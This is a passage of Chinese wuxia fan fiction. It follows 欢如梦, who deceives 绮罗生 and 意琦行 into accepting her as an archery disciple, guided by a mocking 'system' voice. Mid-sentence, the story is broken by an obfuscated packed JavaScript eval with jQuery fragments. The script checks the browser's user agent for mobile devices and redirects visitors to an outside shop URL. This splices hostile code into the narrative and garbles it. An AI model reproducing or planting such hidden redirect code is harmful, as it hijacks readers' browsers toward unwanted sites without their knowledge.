“姑娘可是醒了?请来饮一杯茶吧。”
欢如梦从画舫内走出来,坐在绮罗生对面。她的侧脸很好看,一缕细长的发丝轻抚耳畔。阳光透过轻纱,在她的脸上投下一片和煦的光影。
不知道为什么,当绮罗生看到她的时候,世界都仿佛完全安静了下来。
“是你捞我上来,谢谢你。”
女子说话时的咬字很奇特,她的发声显得空灵而恍惚,仿佛是梦游时候发出的呓语,吐字却分外清楚。
绮罗生含笑颔首。
【不仅捞你上来,还把床让给你,他真的,我哭死呜呜呜。】
欢如梦置若罔闻,捧起茶杯浅饮了一口,道:“是牡丹。”
“然也。”
女子的眼神朦胧仿佛没有焦点,她听到江水不停地拍打船身,两眼无神的向船头看去。
嗡的一声,弓弦响了。
两架长弓水银般的弓弦上,泛起一抹虹彩般旖旎梦幻的流光。
“你观察我就是因为这个吗?”
欢如梦问道。
“姑娘敏锐过人。”
绮罗生起身随着她的脚步一同走到画舫船头。
欢如梦在船舷上静静坐着,一双赤足微微浸在江水里,清明澄澈的水中,几条鱼穿梭在江底。
她的手随意搭在长弓上,轻轻勾了下弓弦,竟弹奏出一声音节。不断颤鸣的长弓,在她触碰上弓弦时安静了下来。当弓弦再次被拨动,便没有了声响。
绮罗生驻足在她的身后,听到她说:
“那我要叫你师父吗?”
绮罗生道:
“我们二人以同修相称即可,在下绮罗生,还未曾问过姑娘的名姓。”
“欢如梦。”她说:“我自幼修炼家传的异术,从未拉过弓。”
绮罗生道:
“无妨,武道七修并不介意带师学艺。”
很好,成了。
古有绮罗生弃刀从花,今有欢如梦弃花从箭。
【可怜的策梦侯,终究是错付了。你已经把绮罗生好感刷爆了,而他还是个握手之交。一声好友而已,嘿嘿,瞧他那个不值钱的样子。】
欢如梦回头看他,道:
“武道七修?我是奇花八部的人。”
绮罗生一怔,追问:
“敢问姑娘是奇花八部哪一脉传人?”
欢如梦道:
“地四部,欲花天坛。”
绮罗生问:
“石胎生花可是姑娘所培?”
欢如梦点头。
“原来姑娘就是欲花之主,看来,不必劳烦策梦候为吾引荐花友了。”绮罗生轻笑一声,看向她的双眼,道:“一直都是我在问姑娘,姑娘却不曾过问我的事情。”
欢如梦直视着他。
与此同时她的掌间生发出一朵牡丹花,她轻轻撕下一片花瓣。
在绮罗生的注视下,她松开了手。花瓣随风而去如一叶小舟泛游在茫茫江水上,而这片花瓣与江水比起来是如此的单薄无力。霎时间,花瓣卷入波涛波涛之中,了无踪迹。
绮罗生沉默半晌,道:
“姑娘看到的、想到的,其实远比你说出来的多。只要你愿意,你能一语道破那些令人不愉快的真相,但你却没有这样做。”
欢如梦轻盈的从船舷上跳下来。手中的牡丹花粉白柔润,放在脸前遮住了半张面容,朦胧的花色中露出一双眼睛,阳光为眼前这副画面渡上一层柔和的光晕。
绮罗生眼中闪过一丝惊艳。便听她道:
“武道七修尚不曾收女子。没关系吗?”
绮罗生唇角轻扬。
他本就喜爱她的天性纯然,如今却发现眼前人有一种可以让人信任和倾诉的魅力,是他看不透的灵动与清醒。
像是月光,缥缈而不可捉摸。
就算是意琦行也一定会喜欢这个姑娘。
“我虽然不涉江湖许久,但自认在看人的眼光方面,还不至于差到分不清珍珠与鱼目。
当然,你也要用心修习哦,否则你就只能回家继承家业了。”
他调侃道。
欢如梦看着他,一双眼睛也弯成了月牙。
欢如梦:吾主深空星海之王,我可以问您问题吗?
【看在我今天心情好的份上,你可以问三个问题。】
欢如梦:为什么这些天命者都没有识破我的伪装?我自认我的演技并没有达到炉火纯青的地步。
【盛华年不也能得到了意琦行的认同,还骗过了素还真?你实在不必妄自菲薄,没道理他能做到的事情你却做不到,你演得可比盛华年要好……哦,或许,这不是演技呢?呵呵。】
欢如梦突然感到一阵心悸。
没由来的,心脏“咚”的一声,狠狠跳动了一下,忽然间有些喘不过气来。
欢如梦:我是否与您一样,来自于世界之外更高维的存在?
【很可惜,你不是。】
欢如梦:什么样的剧目被您所喜爱?且乐于看到?
【去吧,去享受生命的欢愉,自命运刀锋般的转折中寻求快乐。】
巨大的笑声从她的脑子里爆发出来。
欢如梦面色不变,从绮罗生手中接过了一本箭术心得。
箭术心得到手的那刻,她混沌破碎的识海之中亮起了一枚图腾,化作渊薮,紧接着……通天道、犹梦玄湖、葫芦洞天等武道七修辖区依次点亮。
她还看到了玉阳江的牡丹画舫和太羽星河。
虽然这并不是完整的七修箭道秘笈,但绮罗生同意了,多半就等同于意琦行同意了。
再看她与意琦行之间那虚实错杂的因果已经由虚而转实,只差一个契机就可以凝结成线。
“我这里并无完整的传承弓谱,我已修书一封将你的事情告知剑宿,不日他会来见你一面。”
绮罗生道。
欢如梦对此并不意外,意琦行十分重视武道七修的完整性,更何况是绮罗生推荐的人选。
她已经拿到了绮罗生的内推名额,能不能得到大考官的认同就看她自己的本事了。而欢如梦不必去讨意琦行的欢心,她只要好好经营自己的人设就可以了。
意琦行眼光高?要的就是他眼光高。
欢如梦点头,却道:“我在那边的山林里盖了一座小屋,你要去我那里坐坐吗?”
她指着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12328699|131097||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
山的方向说,只要开船过去,停船靠岸步行就能到。
“我在山里种了一些茶树,还做了青团。远足踏青,取花为食,才不辜负春日好时节。”
她似乎并不把剑宿的到来放在心上。
欢如梦一副风淡云清的样子,与绮罗生谈起她用冬天砍下来的斑竹铺做围墙,如今鲜嫩的大朵月季爬满篱墙。
绮罗生意动,欣然应允。
意琦行找上牡丹画舫时,两人正在山里采菌子。欢如梦肩上背着竹筐,一条襻膊绕在背上把袖子扎了起来,露出小臂方便做活。她蹲下身用小锄头挖土,一头长发编成了麻花辫盘在头上。
“这里真是一处与世隔绝的世外桃源。”
绮罗生肩膀上也背了一个竹筐,里面装的是竹笋和各色山珍。
欢如梦站起身,手里握着两束顺手采的小野花,她把其中一束花绑在了绮罗生的竹筐上。
绮罗生看着竹筐上的小野花,笑道:“此花颇具野趣。让我来吧,你且转过身去。”
欢如梦转过身去,绮罗生帮助她把小野花绑在她的背篓上。
意琦行见到的便是这副场景。
“哎呀,贵客来了。”
绮罗生道。
欢如梦回头看去,一双眼眸清亮透彻,宛如山间清溪般澄净明洁。
意琦行一看见她,就好像看到了一朵烂漫的山花,迎着阳光向上,从泥土中穿透而出,在这片广阔的山林,焕发出无限的生机与活力。整个世界忽然清晰起来,万物都有了色彩。
“哈。”
绮罗生轻笑出声,引来二人同时注目。
他不躲不避,反而迎上意琦行的视线,眼神示意道:“如何?吾眼光不差吧?”
“省下你的明知故问。”
意琦行轻哼了一声,转而看了看欢如梦。剑者眉头舒展开来,眼底的冰霜之色渐渐融化。
最终,他颔首同意。
“确实不差。”
绮罗生追问:
“哦?就只是不差?”
意琦行拂尘一挥,走在了二人前面。
“大剑宿,你还没回答我的问题。”
绮罗生追在后面问。
“走吧,天快黑了。”
意琦行说道。
绮罗生刚想开口。却见欢如梦快步越过自己,超过意琦行,走到了队伍最前面带路。
她的裙摆随步伐灵动散开,袖子随步履状态而轻盈律动,呈现出无比自然随性的姿态。
意琦行看了她一眼。
几乎是在他视线所及的同一时间,前方飘来了女子的声音。
“你喝茶吗?还是喝酒?”
欢如梦问。
“茶是何茶?酒是何酒?”
意琦行反问。
“茶是逍遥草本茶,我得到了一个古方,茯苓和桑叶,赤小豆和桑葚,小金桔切片,热水冲泡就可以喝了。酒是自酿的荷花米酒,用荷花和粮食做材料,经过时间的沉淀,酿得一坛好酒,我取名为花间一壶酒……”
绮罗生走在最后,听这两人之间一来一回,笑得他直摇头。
看来不必担心他们之间的相处了。